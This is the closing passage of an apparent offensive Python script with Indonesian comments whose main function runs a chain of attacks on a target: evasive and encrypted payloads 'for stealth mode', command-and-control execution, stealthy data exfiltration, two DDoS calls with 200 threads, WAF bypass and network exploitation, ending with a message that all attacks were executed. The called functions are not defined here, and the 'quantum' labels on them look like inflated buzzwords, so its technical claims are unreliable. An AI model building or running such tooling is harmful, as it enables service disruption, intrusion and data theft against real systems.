    payload = adaptive_payload(target)  # Menyesuaikan payload berdasarkan respons target
    payload = evasive_payload(payload)  # Payload adaptif dengan quantum reinforcement learning
    payload = quantum_multi_layer_evasion(payload)  # Penghindaran deteksi berlapis dengan quantum
    key = "QuantumSecureKey"
    payload = advanced_quantum_encryption(payload, key)  # Enkripsi payload untuk stealth mode
    payload = postprocess_output(payload)  # Memproses hasil mutasi AI
    quantum_attack_simulation(target, payload, attack_type="adaptive")  # Simulasi serangan berbasis AI & Quantum
    attack_execution(target, payload, proxy_file=args.file)  # Eksekusi serangan dengan adaptive routing
    attack_target(target, payload)  # Menjalankan serangan terhadap target
    distributed_quantum_attack([target], payload)  # Serangan ke banyak target dengan metode quantum
    zero_trust_penetration_v3(target)  # Menembus sistem zero-trust dengan adaptive attack
    quantum_c2_command_execution("ls -la", [target])  # Eksekusi command melalui Quantum C2
    dao_c2_command_v2("echo 'test command'")  # Command & control berbasis DAO
    quantum_exfiltration(payload, key)  # Exfiltrasi data secara stealthy
    quantum_data_integrity_check(payload)  # Memastikan integritas data dengan quantum hashing
    ddos_attack(target, duration=30, max_threads=200)  # Serangan DDoS berbasis Quantum
    quantum_ddos_attack(target, duration=120, threads=200)  # DDoS dengan quantum traffic injection
    self_healing_attack_automation([target], payload, attack_type="quantum-adaptive")  # Serangan otomatis dengan self-healing
    quantum_penetration_test([target], [payload], max_attempts=15)  # Pengujian penetrasi berbasis AI & Quantum
    simulate_evasive_payload(target)  # Simulasi payload evasif untuk uji bypass WAF
    network_exploitation(target, payload)  # Mengeksploitasi jaringan target

    print("[+] All attacks have been executed. Cleaning up and closing connections...")

if __name__ == "__main__":
    main()